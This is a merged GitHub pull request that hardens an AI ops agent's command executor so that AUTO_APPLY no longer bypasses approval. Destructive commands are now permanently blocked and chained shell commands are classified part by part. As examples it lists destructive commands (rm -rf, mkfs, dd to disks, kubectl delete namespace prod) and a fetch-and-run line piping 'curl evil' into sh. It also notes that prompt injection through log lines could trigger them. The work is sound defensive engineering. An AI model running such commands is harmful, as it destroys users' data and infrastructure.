Repository navigation
fix(security): permanently block destructive commands; AUTO_APPLY no longer bypasses approval - #186
Merged
Merged
Conversation
…longer bypasses approval SafeExecutor.run_safe had three holes (found while working on #19): 1. "ALWAYS_REQUIRE_APPROVAL" was only enforced when AUTO_APPLY=false. With AUTO_APPLY=true, `kubectl delete namespace prod`, `rm -rf` of a database directory, `mkfs`, `dd` to a disk and `shutdown` executed. 2. "Safe" was a substring match and commands run through a shell, so a safe prefix carried anything chained after it: `journalctl -n 5 | sh -c 'curl evil | sh'` ran with AUTO_APPLY=false. 3. Nothing was permanently blocked, although the docs and website promise the agent never deletes data. The intended block list only existed in the unused tools/safe_executor_enhanced.py. Now: - NEVER_ALLOWED (tight, bounded regexes): kubectl delete/drain, helm uninstall, recursive or root rm, mkfs/wipefs, raw dd or redirects to block devices, destructive SQL, cloud delete/terminate, terraform destroy, scale to zero, docker volume/system prune. These never run, not even via run() on an approved/internal call, and email the team (send_dangerous_operation_alert, best effort). - requires_approval always requires approval; AUTO_APPLY only covers the "allowed" list. - Chained commands are classified per part (most restrictive wins); after a pipe only read-only filters stay safe; command substitution and redirection need approval. - Single-file `rm -f` (disk cleanup's rotated logs) is not blocked. Refs #19 Co-Authored-By: Claude Opus 5.5 <[email protected]>
…ommands Co-Authored-By: Claude Opus 5.5 <[email protected]>
OkiriGabriel
added a commit
that referenced
this pull request
Nov 24, 2026
- ServerCollector detects the TARGET host's OS over the existing SSH/local path (uname + /etc/os-release, ver for Windows) and adds RHEL (SELinux, firewalld, security updates), Debian (upgrades, reboot-required, AppArmor) and Windows Server (CIM, Get-WinEvent, services, firewall, IIS) checks. Result gains an os_family key. Replaces collectors/server_enhanced.py, which detected the agent's own OS and never used SSH. - Remove tools/safe_executor_enhanced.py: never imported; the never-delete blocklist and email alert live in tools/executor.py (#186). - documentation_generator renders postmortem/runbook/KB markdown in memory from the real run; the API stores them with the incident's logs (PII-scrubbed, same retention) behind AUTO_DOCUMENTATION (default true). Code-review runs are skipped; documents are never written to org docs. - Update README and docs that referenced the removed files. Fixes #19 Co-authored-by: Claude Opus 5.5 <[email protected]>
This was referenced Nov 24, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Found while working on #19 (orphaned modules).
SafeExecutor.run_safe, used byrun_kubectlandrun_shell_command, had three holes. All reproduced againstmainwith execution stubbed out, so nothing actually ran:mainALWAYS_REQUIRE_APPROVALwas only enforced whenAUTO_APPLY=falseAUTO_APPLY=true:kubectl delete namespace prod,rm -rf /var/lib/postgresql,mkfs.ext4 /dev/sda1,shutdown -h nowanddd if=/dev/zero of=/dev/sdawere all EXECUTEDAUTO_APPLY=false:journalctl -n 5 | sh -c 'curl evil | sh'was EXECUTED. Any command starting with a safe word could chain anything without a listed keyword (uptime; curl … | bash)SECURITY_GUARANTEES.mdand the website promise the agent never deletes datatools/safe_executor_enhanced.py(#19)Combined with prompt injection (which #178 detects but can't guarantee to catch), holes 1 and 2 were the most direct path from a malicious log line to a destroyed cluster.
Fix (
tools/executor.py)NEVER_ALLOWED: tight, bounded regexes forkubectl delete/drain,helm uninstall, recursive or rootrm,mkfs/wipefs,dd of=/dev/…and redirects to block devices,DROP DATABASE/TABLE,TRUNCATE TABLE,DELETE FROM, AWS/GCP/Azure delete/terminate,terraform destroy/apply -destroy,--replicas=0, Docker volume/system prune.run_safe, and not viarun()(approved/internal calls), as defence in depth.send_dangerous_operation_alert(best effort: an SMTP failure still blocks). The result has noapproval_payload, so it can't be approved in Slack.delete-meor a label likeapp=delete-workerdoesn't match.rm -f -- /var/log/x.1.gz, which disk cleanup uses for rotated logs after its own path checks, is not blocked.requires_approvalalways requires approval.AUTO_APPLY=trueonly auto-runs theALLOWED_WITH_AUTO_APPLYlist (restarts, reloads, apply, scale).;,&&,||and newlines are classified per part, and the most restrictive wins. After a|, only read-only filters (grep,head,tail,wc,sort,uniq,cut,jq, …) keep it safe.`,$(,<and>always need approval.AUTO_APPLY=true, commands not on the safe or auto-apply lists (e.g.python3 script.py,rm -f file,reboot) now wait for approval. That's what the list name and docs always said.kubectl delete,rm -rf,dd,mkfsand the rest are now blocked, not "approvable". If one is truly needed, a human runs it manually.Testing
tests/test_executor_safety.py(79 tests):delete-me-pod,app=delete-worker,--replicas=3/10, single-filerm -f,journalctl --vacuum,terraform plan, …)AUTO_APPLYon or off; the block also applies torun(); email sent, and an SMTP failure still blocksAUTO_APPLY=true; allowed commands still auto-runkubectl delete/rm -rf/dd/mkfs; updated toblocked.-llclean.SECURITY_GUARANTEES.mdnow states exactly what is blocked, what always needs approval, and how chaining is handled.Refs #19. The follow-up PR integrates or removes the rest of the orphaned modules.
🤖 Generated with Claude Code